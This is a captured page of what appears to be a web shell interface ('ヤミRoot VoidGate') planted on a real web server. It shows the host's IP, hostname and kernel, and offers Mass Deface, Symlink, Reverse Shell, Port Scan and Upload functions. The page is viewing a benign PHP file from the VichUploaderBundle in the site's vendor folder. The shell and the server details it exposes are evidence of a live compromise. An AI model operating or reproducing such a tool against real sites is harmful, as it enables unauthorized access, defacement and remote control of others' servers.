ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
vich
/
uploader-bundle
/
src
/
Naming
/
Viewing: SubdirDirectoryNamer.php
<?php namespace Vich\UploaderBundle\Naming; use Vich\UploaderBundle\Mapping\PropertyMapping; /** * Directory namer wich can create subfolder depends on generated filename. * * @author Konstantin Myakshin <koc-dp@yandex.ru> * @final */ class SubdirDirectoryNamer implements DirectoryNamerInterface, ConfigurableInterface { /** @var int */ private $charsPerDir = 2; /** @var int */ private $dirs = 1; /** * @param array $options Options for this namer. The following options are accepted: * - chars_per_dir: how many chars use for each dir. * - dirs: how many dirs create */ public function configure(array $options): void { $options = \array_merge(['chars_per_dir' => $this->charsPerDir, 'dirs' => $this->dirs], $options); $this->charsPerDir = $options['chars_per_dir']; $this->dirs = $options['dirs']; } public function directoryName($object, PropertyMapping $mapping): string { $fileName = $mapping->getFileName($object); $parts = []; for ($i = 0, $start = 0; $i < $this->dirs; $i++, $start += $this->charsPerDir) { $parts[] = \substr($fileName, $start, $this->charsPerDir); } return \implode('/', $parts); } }
Coded With 💗 by
0x6ick